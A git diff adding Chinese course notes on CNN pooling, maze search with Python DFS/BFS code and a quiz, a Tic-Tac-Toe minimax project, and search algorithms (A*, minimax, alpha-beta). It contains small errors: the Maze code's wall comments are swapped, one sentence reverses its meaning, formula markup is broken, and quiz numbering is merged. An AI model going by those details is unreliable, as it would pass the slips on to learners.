+![](static/boxcnCxlvaanbzweMmeCOsp1xKf.png) + +换一句话来说,我们从一整张图片开始,最后得到一个稍小一点的数组,里面存储着我们图片中的哪一部分有异常。 + +## 池化层 + +图像可能特别大。比如说 1024*1024 再来个颜色 RGB + +那就有 1024*1024*3 这么多的数据,这对计算机来说去处理是不可想象的占用计算资源,所以我们需要用一种方式来降低他的计算量并且尽可能地保证丢失的数据不多。 + +让我们先来看每个 2×2 的方阵数组,并且留下最大的数: + +![](static/boxcnquKepO4wJ74KfNIy3LtqVg.png) + +每一波我们只保留一个数,这样就大大减少了图片的计算量了。 + +当然你也可以不选最大的,池化有很多种方式。 + +这损失也太大了吧! + +这样子搞不会很糟糕么?确实,他会损失大量的数据,也正因如此,我们需要往里面塞大量的数据,有的数据集大的超乎你的想象,你可以自行查阅 imagenet 这种大型数据集。 + +当然,还有一些未公开的商用数据集,它们的数量更为庞大,运算起来更为复杂。 + +尽管如此,我们依然要感谢先驱,他们让一件事从能变成了不能 + +我们也要感谢显卡,这项技术早就出现了但是一直算不了,有了显卡让这件事成为了可能。 + +## 作出预测 + +到现在为止,我们已经把一个很大的图片缩减到了一个相对较小的数组。 + +你猜怎么着?数组就是一串数字而已,所以我们我们可以把这个数组输入到另外一个神经网络里面去。最后的这个神经网络会决定这个图片是否匹配。为了区分它和卷积的不同,我们把它称作「全连接」网络 + +![](static/boxcnDqrUZwXHzgmLR6yvbYSgsV.png) + +我们的图片处理管道是一系列的步骤:卷积、最大池化,还有最后的「全连接」网络。 + +你可以把这些步骤任意组合、堆叠多次,来解决真实世界中的问题!你可以有两层、三层甚至十层卷积层。当你想要缩小你的数据大小时,你也随时可以调用最大池化函数。 + +我们解决问题的基本方法,就是从一整个图片开始,一步一步逐渐地分解它,直到你找到了一个单一的结论。你的卷积层越多,你的网络就越能识别出复杂的特征。 + +比如说,第一个卷积的步骤可能就是尝试去识别尖锐的东西,而第二个卷积步骤则是通过找到的尖锐物体来找鸟类的喙,最后一步是通过鸟喙来识别整只鸟,以此类推。 + +# 结语 + +这篇文章仅仅只是粗略的讲述了一些机器学习的一些基本操作,如果你要更深一步学习的话你可能还需要更多的探索。 + +# 参考资料 + +[machine-learning-for-software-engineers/README-zh-CN.md at master · ZuzooVn/machine-learning-for-sof](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-zh-CN.md#%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E6%A6%82%E8%AE%BA) diff --git a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md new file mode 100644 index 0000000..b1b2c89 --- /dev/null +++ b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md @@ -0,0 +1,217 @@ +# 程序示例——maze 迷宫解搜索 + +阅读程序中涉及搜索算法的部分,然后运行程序,享受机器自动帮你寻找路径的快乐! + +完成习题 + +# Node + +```python +# 节点类 Node +class Node: + def __init__(self, state, parent, action): + self.state = state # 存储该结点的迷宫状态(即位置) + self.parent = parent # 存储父结点 + self.action = action # 存储采取的行动 +``` + +## 节点复习: + +- 节点是一种包含以下数据的数据结构: + + - 状态——state + - 其父节点,通过该父节点生成当前节点——parent node + - 应用于父级状态以获取当前节点的操作——action + - 从初始状态到该节点的路径成本——path cost + +# 堆栈边域——DFS + +```python +class StackFrontier: # 堆栈边域 + def __init__(self): + self.frontier = [] # 边域 + def add(self, node): # 堆栈添加结点 + self.frontier.append(node) + def contains_state(self, state): + return any(node.state == state for node in self.frontier) + def empty(self): # 判断边域为空 + return len(self.frontier) == 0 + def remove(self): # 移除结点 + if self.empty(): + raise Exception("empty frontier") + else: + node = self.frontier[-1] + self.frontier = self.frontier[:-1] + return node +``` + +## 深度优先搜索复习: + +- 深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” + +# 队列边域——BFS + +```python +class QueueFrontier(StackFrontier): # 队列边域 + def remove(self): + if self.empty(): + raise Exception("empty frontier") + else: + node = self.frontier[0] + self.frontier = self.frontier[1:] + return node +``` + +## 广度优先搜索复习: + +- 广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 + +# 迷宫解——Maze_solution + +```python +class Maze: + def __init__(self, filename): # 读入迷宫图 + # 读入文件,设置迷宫大小 + with open(filename) as f: + contents = f.read() + # 验证起点和目标 + if contents.count("A") != 1: + raise Exception("maze must have exactly one start point") + if contents.count("B") != 1: + raise Exception("maze must have exactly one goal") + # 绘制迷宫大小 + contents = contents.splitlines() + self.height = len(contents) + self.width = max(len(line) for line in contents) + # 绘制迷宫墙,起点,终点 + self.walls = [] + for i in range(self.height): + row = [] + for j in range(self.width): + try: + if contents[i][j] == "A": # 设置起点 + self.start = (i, j) + row.append(False) + elif contents[i][j] == "B": + self.goal = (i, j) # 设置终点 + row.append(False) + elif contents[i][j] == " ": + row.append(False) # 设置墙体 + else: + row.append(True) # 可移动的点为 True + except IndexError: + row.append(False) + self.walls.append(row) + self.solution = None + # 打印结果 + def print(self): + ... + # 寻找邻结点,返回元组(动作,坐标(x,y)) + def neighbors(self, state): + row, col = state + candidates = [ + ("up", (row - 1, col)), + ("down", (row + 1, col)), + ("left", (row, col - 1)), + ("right", (row, col + 1)) + ] + result = [] + for action, (r, c) in candidates: + if 0 <= r < self.height and 0 <= c < self.width and not self.walls[r][c]: + result.append((action, (r, c))) + return result + def solve(self): + # 搜索迷宫解 + self.num_explored = 0 # 已搜索的路径长度 + # 将边界初始化为起始位置 + start = Node(state=self.start, parent=None, action=None) + frontier = StackFrontier() # 采用DFS + # frontier = QueueFrontier() # 采用BFS + frontier.add(start) + # 初始化一个空的探索集 + self.explored = set() # 存储已搜索的结点 + # 保持循环直到找到解决方案 + while True: + # 无解情况 + if frontier.empty(): + raise Exception("no solution") + # 从边界中选择一个节点 + node = frontier.remove() + self.num_explored += 1 + # 得到解决路径 + if node.state == self.goal: + actions = [] + cells = [] + while node.parent is not None: # 遍历父节点得到路径动作 + actions.append(node.action) + cells.append(node.state) + node = node.parent + actions.reverse() + cells.reverse() + self.solution = (actions, cells) + return + # 将节点标记为已探索 + self.explored.add(node.state) + # 将邻居添加到边界(展开节点) + for action, state in self.neighbors(node.state): + if not frontier.contains_state(state) and state not in self.explored: + child = Node(state=state, parent=node, action=action) + frontier.add(child) + def output_image(self, filename, show_solution=True, show_explored=False): + ... +``` + +# Quiz + +1. 在深度优先搜索(DFS)和广度优先搜索(BFS)之间,哪一个会在迷宫中找到更短的路径? +2. DFS 将始终找到比 BFS 更短的路径 +3. BFS 将始终找到比 DFS 更短的路径 +4. DFS 有时(但并非总是)会找到比 BFS 更短的路径 +5. BFS 有时(但并非总是)会找到比 DFS 更短的路径 +6. 两种算法总是能找到相同长度的路径 +7. 下面的问题将问你关于下面迷宫的问题。灰色单元格表示墙壁。在这个迷宫上运行了一个搜索算法,找到了从 A 点到 B 点的黄色突出显示的路径。在这样做的过程中,红色突出显示的细胞是探索的状态,但并没有达到目标。 + +![](static/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png) + +在讲座中讨论的四种搜索算法中——深度优先搜索、广度优先搜索、曼哈顿距离启发式贪婪最佳优先搜索和曼哈顿距离启发式 +$$ +A^* +$$ + +搜索——可以使用哪一种(或多种,如果可能的话)? + +1. 只能是 + $$ + A^* + $$ +2. 只能是贪婪最佳优先搜索 +3. 只能是 DFS +4. 只能是 BFS +5. 可能是 + $$ + A^* + $$ + + 或贪婪最佳优先搜索 +6. 可以是 DFS 或 BFS +7. 可能是四种算法中的任何一种 +8. 不可能是四种算法中的任何一种 +9. 为什么有深度限制的极大极小算法有时比没有深度限制的极大极小更可取? +10. 深度受限的极大极小算法可以更快地做出决定,因为它探索的状态更少 +11. 深度受限的极大极小算法将在没有深度限制的情况下实现与极大极小算法相同的输出,但有时会使用较少的内存 +12. 深度受限的极大极小算法可以通过不探索已知的次优状态来做出更优化的决策 +13. 深度限制的极小极大值永远不会比没有深度限制的极大极小值更可取 +14. 下面的问题将询问您关于下面的 Minimax 树,其中绿色向上箭头表示 MAX 玩家,红色向下箭头表示 MIN 玩家。每个叶节点都标有其值。 + +![](static/UVssbyMxCoEQSuxvjh3caWAFnOb.png) + +根节点的值是多少? + +1. 2 +2. 3 +3. 4 +4. 5 +5. 6 +6. 7 +7. 8 +8. 9 diff --git a/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md b/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md new file mode 100644 index 0000000..97ce88f --- /dev/null +++ b/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md @@ -0,0 +1,58 @@ +# 项目:Tic-Tac-Toe 井字棋 + +我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 + +如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 + +`pip3 install -r requirements.txt` + +# 理解 + +- 这个项目有两个主要文件:`runner.py` 和 `tictactoe.py`。`tictactoe.py` 包含了玩游戏和做出最佳动作的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `tictactoe.py` 中所有必需的功能,你就可以运行 `python runner.py` 来对抗你的人工智能了! +- 让我们打开 `tictactoe.py` 来了解所提供的内容。首先,我们定义了三个变量:X、O 和 EMPTY,以表示游戏的可能移动。 +- 函数 `initial_state` 返回游戏的启动状态。对于这个问题,我们选择将游戏状态表示为三个列表的列表(表示棋盘的三行),其中每个内部列表包含三个值,即 X、O 或 EMPTY。以下是我们留给你实现的功能! + +# 说明 + +- 实现 `player`, `actions`, `result`, `winner`, `terminal`, `utility`, 以及 `minimax`. + + - `player` 函数应该以棋盘状态作为输入,并返回轮到哪个玩家(X 或 O)。 + + - 在初始游戏状态下,X 获得第一步。随后,玩家交替进行每一个动作。 + - 如果提供结束棋盘状态作为输入(即游戏已经结束),则任何返回值都是可接受的。 + - `actions` 函数应该返回一组在给定的棋盘状态上可以采取的所有可能的操作。 + + - 每个动作都应该表示为元组 `(i,j)`,其中 `i` 对应于移动的行(0、1 或 2),`j` 对应于行中的哪个单元格对应于移动(也是 0、1、或 2)。 + - 可能的移动是棋盘上任何没有 X 或 O 的单元格。 + - 如果提供结束棋盘状态作为输入,则任何返回值都是可接受的。 + - `result` 函数以一个棋盘状态和一个动作作为输入,并且应该返回一个新的棋盘状态,而不修改原始棋盘。 + + - 如果 `action` 函数接受了一个无效的动作,你的程序应该raise an exception. + - 返回的棋盘状态应该是从原始输入棋盘,并让轮到它的玩家在输入动作指示的单元格处移动所产生的棋盘。 + - 重要的是,原始棋盘应该保持不变:因为 Minimax 最终需要在计算过程中考虑许多不同的棋盘状态。这意味着简单地更新棋盘上的单元格本身并不是 `result` 函数的正确实现。在做出任何更改之前,你可能需要先对棋盘状态进行deep copy。 + - `winner` 函数应该接受一个棋盘作为输入,如果游戏结束,则返回游戏的获胜者。 + + - 如果 X 玩家赢得了游戏,函数应该返回 X。如果 O 玩家赢得了比赛,函数应该返回 O。 + - 一个人可以通过水平、垂直或对角连续三次移动赢得比赛。 + - 你可以认为最多会有一个赢家(也就是说,没有一个棋盘会同时有两个玩家连着三个,因为这将是一个无效的棋盘状态)。 + - 如果游戏没有赢家(要么是因为游戏正在进行,要么是因为比赛以平局结束),函数应该返回 `None`。 + - `terminal` 函数应该接受一个棋盘作为输入,并返回一个布尔值,指示游戏是否结束。 + + - 如果游戏结束,要么是因为有人赢得了游戏,要么是由于所有单元格都已填充而没有人获胜,则函数应返回 `True`。 + - 否则,如果游戏仍在进行中,则函数应返回 `False`。 + - `utility` 函数应接受结束棋盘状态作为输入,并输出该棋盘的分数。 + + - 如果 X 赢得了比赛,则分数为 1。如果 O 赢得了比赛,则分数为-1。如果比赛以平局结束,则分数为 0。 + - 你可以假设只有当 `terminal(board)` 为 True 时,才会在棋盘上调用 `utility`。 + - `minimax` 函数应该以一个棋盘作为输入,并返回玩家在该棋盘上移动的最佳移动。 + + - 返回的移动应该是最佳动作 `(i,j)`,这是棋盘上允许的动作之一。如果多次移动都是同样最佳的,那么这些移动中的任何一次都是可以接受的。 + - 如果该棋盘是结束棋盘状态,则 `minimax` 函数应返回 `None`。 + - 对于所有接受棋盘作为输入的函数,你可以假设它是一个有效的棋盘(即,它是包含三行的列表,每行都有三个值 X、O 或 EMPTY)。你不应该修改所提供的函数声明(每个函数的参数的顺序或数量)。、 + - 一旦所有功能都得到了正确的实现,你就应该能够运行 `python runner.py` 并与你的人工智能进行比赛。而且,由于井字棋是双方最佳比赛的平局,你永远不应该能够击败人工智能(尽管如果你打得不好,它可能会打败你!) + +# 提示 + +- 如果你想在不同的 Python 文件中测试你的函数,你可以用类似于 `from tictactoe import initial_state` 的代码来导入它们。 +- 欢迎在 `tictactoe.py` 中添加其他辅助函数,前提是它们的名称不会与模块中已有的函数或变量名称冲突。 +- alpha-beta 剪枝是可选的,这可能会让你的人工智能运行更高效! diff --git a/4.人工智能/4.3.1搜索.md b/4.人工智能/4.3.1搜索.md new file mode 100644 index 0000000..bd4e1e1 --- /dev/null +++ b/4.人工智能/4.3.1搜索.md @@ -0,0 +1,478 @@ +# 搜索 + +在我们日常生活中,其实有非常多的地方使用了所谓的 AI 算法,只是我们通常没有察觉。 + +比如美团的外卖程序里面,可以看到外卖员到达你所在的位置的路线,它是如何规划出相关路线的呢? + +在我们和电脑下围棋下五子棋的时候,他是如何“思考”的呢?希望你在阅读完本章内容之后,可以有一个最基本的理解。并且,我们还会给你留下一个井字棋的小任务,可以让你的电脑和你下井字棋,是不是很 cool + +让我们现在开始吧! + +# 基本定义 + +也许第一次看会觉得云里雾里,没有必要全部记住所有的概念。可以先大致浏览一遍之后,再后续的代码中与概念进行结合,相信你会有更深入的理解 + +> 即检索存储在某个[数据结构](https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)中的信息,或者在问题域的搜索空间中计算的信息。 --wiki + +从本质上来说,你将搜索问题理解为一个函数,那么它的输入将会是你用计算机的数据结构或计算机数据所构成的初始状态以及你期望他达成的目标状态,搜索问题将尝试从中得到解决方案。 + +导航是使用搜索算法的一个典型的搜索,它接收您的当前位置和目的地作为输入,并根据搜索算法返回建议的路径。 + +![](static/Hesobke0ZocH48xGFyocf9Cxntd.png) + +在计算机科学中,还有许多其他形式的搜索问题,比如谜题或迷宫。 + +![](static/SYw4bOzqAo65PQxZQLucbZAxnHd.png) + +![](static/LPgEbVQg2oZBSexmGWwcwfbdnVd.png) + +# 举个例子 + +要找到一个数字华容道谜题的解决方案,需要使用搜索算法。 + +- 智能主体(Agent) + + - 感知其环境并对该环境采取行动的实体。 + - 例如,在导航应用程序中,智能主体将是一辆汽车的代表,它需要决定采取哪些行动才能到达目的地。 +- 状态(State) + + - 智能主体在其环境中的配置。 + - 例如,在一个数字华容道谜题中,一个状态是所有数字排列在棋盘上的任何一种方式。 + - 初始状态(Initial State) + + - 搜索算法开始的状态。在导航应用程序中,这将是当前位置。 + +![](static/HCxXbwKFyof6DFx6FZ8c5EHknBh.png) + +- 动作(Action) + + - 一个状态可以做出的选择。更确切地说,动作可以定义为一个函数。当接收到状态 + $$ + s$$作为输入时, + $$ + + Actions(s) + $$ + 将返回可在状态 + $$ + + s$$ 中执行的一组操作作为输出。 + - 例如,在一个数字华容道中,给定状态的操作是您可以在当前配置中滑动方块的方式。 + +![](static/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png) + +- 过渡模型(Transition Model) + + - 对在任何状态下执行任何适用操作所产生的状态的描述。 + - 更确切地说,过渡模型可以定义为一个函数。 + - 在接收到状态 + $$ + s$$和动作 + $$ + + a + $$ + 作为输入时, + $$ + + Results(s,a) + $$ + 返回在状态 + $$ + + s + $$ + 中执行动作 + $$ + + a$$ 所产生的状态。 + - 例如,给定数字华容道的特定配置(状态 + $$ + s$$),在任何方向上移动正方形(动作 + $$ + + a$$)将导致谜题的新配置(新状态)。 + +![](static/RKV2buJoroCV6SxiMUuct3dbnPU.png) + +- 状态空间(State Space) + + - 通过一系列的操作目标从初始状态可达到的所有状态的集合。 + - 例如,在一个数字华容道谜题中,状态空间由所有 + $$ + \frac{16!}{2} + $$ + + 种配置,可以从任何初始状态达到。状态空间可以可视化为有向图,其中状态表示为节点,动作表示为节点之间的箭头。 + +![](static/JdCqb2UI9ooWmdxk258cTIIznab.png) + +- 目标测试(Goal Test) + + - 确定给定状态是否为目标状态的条件。例如,在导航应用程序中,目标测试将是智能主体的当前位置是否在目的地。如果是,问题解决了。如果不是,我们将继续搜索。 +- 路径成本(Path Cost) + + - 完成给定路径相关的代价。例如,导航应用程序并不是简单地让你达到目标;它这样做的同时最大限度地减少了路径成本,为您找到了达到目标状态的最快方法。 + +# 解决搜索问题 + +- 解(solution) + + - 从初始状态到目标状态的一系列动作。 + - 最优解(Optimal Solution) + + - 在所有解决方案中路径成本最低的解决方案。 +- 在搜索过程中,数据通常存储在节点(Node) 中,节点是一种包含以下数据的数据结构: + + - 状态——state + - 其父节点,通过该父节点生成当前节点——parent node + - 应用于父级状态以获取当前节点的操作——action + - 从初始状态到该节点的路径成本——path cost +- 节点包含的信息使它们对于搜索算法非常有用。 + +它们包含一个状态,可以使用目标测试来检查该状态是否为最终状态。 + +如果是,则可以将节点的路径成本与其他节点的路径代价进行比较,从而可以选择最佳解决方案。 + +一旦选择了节点,通过存储父节点和从父节点到当前节点的动作,就可以追溯从初始状态到该节点的每一步,而这一系列动作就是解决方案。 + +- 然而,节点只是一个数据结构——它们不搜索,而是保存信息。为了实际搜索,我们使用了边域(frontier),即“管理”节点的机制。边域首先包含一个初始状态和一组空的已探索项目(探索集),然后重复以下操作,直到找到解决方案: + + - 重复 + + - 如果边域为空 + + - 停止,搜索问题无解 + - 从边域中删除一个节点。这是将要考虑的节点。 + - 如果节点包含目标状态 + + - 返回解决方案,停止 + - 否则 + + - 展开节点(找到可以从该节点到达的所有新节点),并将生成的节点添加到边域。 + - 将当前节点添加到探索集。 + +![](static/K53FbGmswoM7JAxqJZxcQEjdnES.png) + +![](static/THhpbemEHoxl80xHeTjc9d35nVh.png) + +边域从节点 A 初始化开始 + +1. 取出边域中的节点 A,展开节点 A,将节点 B 添加到边域。 +2. 取出节点 B,展开,添加...... +3. 到达目标节点,停止,返回解决方案 + +![](static/XmnObIGaUoF4ssxkgzUc4vTUnmf.png) + +![](static/Wsntb9rLwogdAKxpJgLchrI8nae.png) + +会出现什么问题?节点 A-> 节点 B-> 节点 A->......-> 节点 A。我们需要一个探索集,记录已搜索的节点! + +## 不知情搜索(Uninformed Search) + +- 在之前对边域的描述中,有一件事没有被提及。在上面伪代码的第 1 阶段,应该删除哪个节点?这种选择对解决方案的质量和实现速度有影响。关于应该首先考虑哪些节点的问题,有多种方法,其中两种可以用堆栈(深度优先搜索)和队列(广度优先搜索)的数据结构来表示。 +- 深度优先搜索(Depth-First Search) + + - 深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” + - (一个例子:以你正在寻找钥匙的情况为例。在深度优先搜索方法中,如果你选择从裤子里搜索开始,你会先仔细检查每一个口袋,清空每个口袋,仔细检查里面的东西。只有当你完全筋疲力尽时,你才会停止在裤子里搜索,开始在其他地方搜索。) + - 优点 + + - 在最好的情况下,这个算法是最快的。如果它“运气好”,并且总是(偶然)选择正确的解决方案路径,那么深度优先搜索需要尽可能少的时间来找到解决方案。 + - 缺点 + + - 所找到的解决方案可能不是最优的。 + - 在最坏的情况下,该算法将在找到解决方案之前探索每一条可能的路径,从而在到达解决方案之前花费尽可能长的时间。 + +![](static/SGVWbCcTlobQwJxSjKvcNyJAnEG.png) + +![](static/Vv9Sb26QfoMrkqx5apycIYPJnlf.png) + +![](static/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png) + +![](static/M2vZbA5hpoT9RExuAGwcBHF1nmh.png) + +- 代码实现 + +```python +def remove(self): + if self.empty(): + raise Exception("empty frontier") + else: + node = self.frontier[-1] + self.frontier = self.frontier[:-1] + return node +``` + +- 广度优先搜索(Breadth-First Search) + + - 广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 + - (一个例子:假设你正在寻找钥匙。在这种情况下,如果你从裤子开始,你会看你的右口袋。之后,你会在一个抽屉里看一眼,而不是看你的左口袋。然后在桌子上。以此类推,在你能想到的每个地方。只有在你用完所有位置后,你才会回到你的裤子上,在下一个口袋里找。) + - 优点 + + - 该算法可以保证找到最优解。 + - 缺点 + + - 几乎可以保证该算法的运行时间会比最短时间更长。 + - 在最坏的情况下,这种算法需要尽可能长的时间才能运行。 + +![](static/S6SRbMUrcoYQCYxZGgJczkdcnBP.png) + +![](static/Xg7Qbv59IoQB3bxPFO1ceXgRnkf.png) + +![](static/X34Rb5R7AonUg3xYs7DcQzSfndg.png) + +![](static/PQeZbJv3Bom6NYxa6lccT084nFn.png) + +- 代码实现 + +```python +def remove(self): + if self.empty(): + raise Exception("empty frontier") + else: + node = self.frontier[0] + self.frontier = self.frontier[1:] + return node +``` + +## 知情搜索(Informed Search) + +- 广度优先和深度优先都是不知情的搜索算法。也就是说,这些算法没有利用他们没有通过自己的探索获得的关于问题的任何知识。然而,大多数情况下,关于这个问题的一些知识实际上是可用的。例如,当人类进入一个路口时,人类可以看到哪条路沿着解决方案的大致方向前进,哪条路没有。人工智能也可以这样做。一种考虑额外知识以试图提高性能的算法被称为知情搜索算法。 +- 贪婪最佳优先搜索(Greedy Best-First Search) + + - 贪婪最佳优先搜索扩展最接近目标的节点,如启发式函数 + $$ + h(n) + $$ + + 所确定的。顾名思义,该函数估计下一个节点离目标有多近,但可能会出错。贪婪最佳优先算法的效率取决于启发式函数的好坏。例如,在迷宫中,算法可以使用启发式函数,该函数依赖于可能节点和迷宫末端之间的曼哈顿距离。曼哈顿距离忽略了墙壁,并计算了从一个位置到目标位置需要向上、向下或向两侧走多少步。这是一个简单的估计,可以基于当前位置和目标位置的 + $$ + (x,y) + $$ + + 坐标导出。 + +![](static/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png) + +- 然而,重要的是要强调,与任何启发式算法一样,它可能会出错,并导致算法走上比其他情况下更慢的道路。不知情的搜索算法有可能更快地提供一个更好的解决方案,但它比知情算法更不可能这样。 + +![](static/HkvdbcEdmo6RtjxOqqic31XFnSh.png) + +![](static/SU2DbQeN2oxs5ex3K3NcMaJfnch.png) + +- $$ + A^*$$搜索 + + - 作为贪婪最佳优先算法的一种发展,$$A^*$$搜索不仅考虑了从当前位置到目标的估计成本$$h(n)$$,还考虑了直到当前位置为止累积的成本$$g(n)$$。通过组合这两个值,该算法可以更准确地确定解决方案的成本并在旅途中优化其选择。该算法跟踪(到目前为止的路径成本+到目标的估计成本,$$g(n)+h(n)$$),一旦它超过了之前某个选项的估计成本,该算法将放弃当前路径并返回到之前的选项,从而防止自己沿着$$h(n)$$错误地标记为最佳的却长而低效的路径前进。 + + - 然而,由于这种算法也依赖于启发式,所以它依赖它所使用的启发式。在某些情况下,它可能比贪婪的最佳第一搜索甚至不知情的算法效率更低。对于最佳的$$A^*$$搜索,启发式函数$$h(n)$$应该: + + - 可接受,从未高估真实成本。 + + - 一致性,这意味着从新节点到目标的估计路径成本加上从先前节点转换到该新节点的成本应该大于或等于先前节点到目标的估计路径成本。用方程的形式表示,$$h(n)$$是一致的,如果对于每个节点$$n$$和后续节点$$n'$$,从$$n$$到$$n'$$的步长为$$c$$,满足$$h(n)≤h(n')+c$$。 + $$ + +![](static/BbIiba1pwo3uI7x4k7QcwicznGc.png) + +![](static/HhG9bcJP2okKMMxY0FGclP0AnXY.png) + +# 对抗性搜索 + +尽管之前我们讨论过需要找到问题答案的算法,但在对抗性搜索中,算法面对的是试图实现相反目标的对手。通常,在游戏中会遇到使用对抗性搜索的人工智能,比如井字游戏。 + +- 极大极小算法(Minimax) + + - 作为对抗性搜索中的一种算法,Minimax 将获胜条件表示为 + $$ + (-1) + $$ + + 表示为一方, + $$ + (+1) + $$ + + 表示为另一方。进一步的行动将受到这些条件的驱动,最小化的一方试图获得最低分数,而最大化的一方则试图获得最高分数。 + +![](static/FYu3bQwCZofBgsxKDJiciTR7nzc.png) + +- 井字棋 AI 为例 + + - $$ + s_0$$: 初始状态(在我们的情况下,是一个空的3X3棋盘) + $$ + +![](static/WstnbmHwYoQauRxUQOCclz8Jngb.png) + +``` +- $$Players(s)$$: 一个函数,在给定状态$$s$$的情况下,返回轮到哪个玩家(X或O)。 +``` + +![](static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png) + +``` +- $$Actions(s)$$: 一个函数,在给定状态$$s$$的情况下,返回该状态下的所有合法动作(棋盘上哪些位置是空的)。 +``` + +![](static/LuEzbLOaqox7yox5lXzcouWYnKc.png) + +``` +- $$Result(s, a)$$: 一个函数,在给定状态$$s$$和操作$$a$$的情况下,返回一个新状态。这是在状态$$s$$上执行动作$$a$$(在游戏中移动)所产生的棋盘。 +``` + +![](static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png) + +``` +- $$Terminal(s)$$: 一个函数,在给定状态$$s$$的情况下,检查这是否是游戏的最后一步,即是否有人赢了或打成平手。如果游戏已结束,则返回True,否则返回False。 +``` + +![](static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png) + +``` +- $$Utility(s)$$: 一个函数,在给定终端状态s的情况下,返回状态的效用值:$$-1、0或1$$。 +``` + +![](static/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png) + +- 算法的工作原理: + + - 该算法递归地模拟从当前状态开始直到达到终端状态为止可能发生的所有游戏状态。每个终端状态的值为 + $$ + (-1)、0或(+1) + $$ + + 。 + +![](static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png) + +``` +- 根据轮到谁的状态,算法可以知道当前玩家在最佳游戏时是否会选择导致状态值更低或更高的动作。 +``` + +通过这种方式,在最小化和最大化之间交替,算法为每个可能的动作产生的状态创建值。举一个更具体的例子,我们可以想象,最大化的玩家在每一个回合都会问:“如果我采取这个行动,就会产生一个新的状态。如果最小化的玩家发挥得最好,那么该玩家可以采取什么行动来达到最低值?” + +然而,为了回答这个问题,最大化玩家必须问:“要想知道最小化玩家会做什么,我需要在最小化者的脑海中模拟同样的过程:最小化玩家会试图问:‘如果我采取这个动作,最大化玩家可以采取什么动作来达到最高值?’” + +这是一个递归过程,你可能很难理解它;看看下面的伪代码会有所帮助。最终,通过这个递归推理过程,最大化玩家为每个状态生成值,这些值可能是当前状态下所有可能的操作所产生的。 + +在得到这些值之后,最大化的玩家会选择最高的一个。 + +![](static/EjB9bzgZNohQtkxXwXgcVrKwnth.png) + +- 具体算法: + + - 给定状态 $$s$$ + + - 最大化玩家在 + $$ + Actions(s) + $$ + + 中选择动作 + $$ + a$$,该动作产生 + $$ + + Min-value(Result(s,a))$$ 的最高值。 + - 最小化玩家在 + $$ + Actions(s) + $$ + + 中选择动作 + $$ + a$$,该动作产生 + $$ + + Max-value(Result(s,a))$$ 的最小值。 + - Function Max-Value(state): + + - $$ + v=-\infty + $$ + - if + $$ + Terminal(state) + $$ + + : + + - return + $$ + Utility(state) + $$ + - for + $$ + action + $$ + + in + $$ + Actions(state) + $$ + + : + + - $$ + v = Max(v, Min-Value(Result(state, action))) + $$ + - return $$v$$ + - Function Min-Value(state): + + - $$ + v=\infty + $$ + - if + $$ + Terminal(state) + $$ + + : + + - return + $$ + Utility(state) + $$ + - for + $$ + action + $$ + + in + $$ + Actions(state) + $$ + + : + + - $$ + v = Min(v, Max-Value(Result(state, action))) + $$ + - return $$v$$ + +不会理解递归?也许你需要看看这个:[阶段二:递归操作](https://hdu-cs-lecture-notes.feishu.cn/wiki/wikcnwIRBW8rXspHQvigmYXZSWd) + +- $$ + \alpha$$-$$\beta$$剪枝(Alpha-Beta Pruning) + + - 作为一种优化Minimax的方法,Alpha-Beta剪枝跳过了一些明显不利的递归计算。在确定了一个动作的价值后,如果有初步证据表明接下来的动作可以让对手获得比已经确定的动作更好的分数,那么就没有必要进一步调查这个动作,因为它肯定比之前确定的动作不利。 + + - 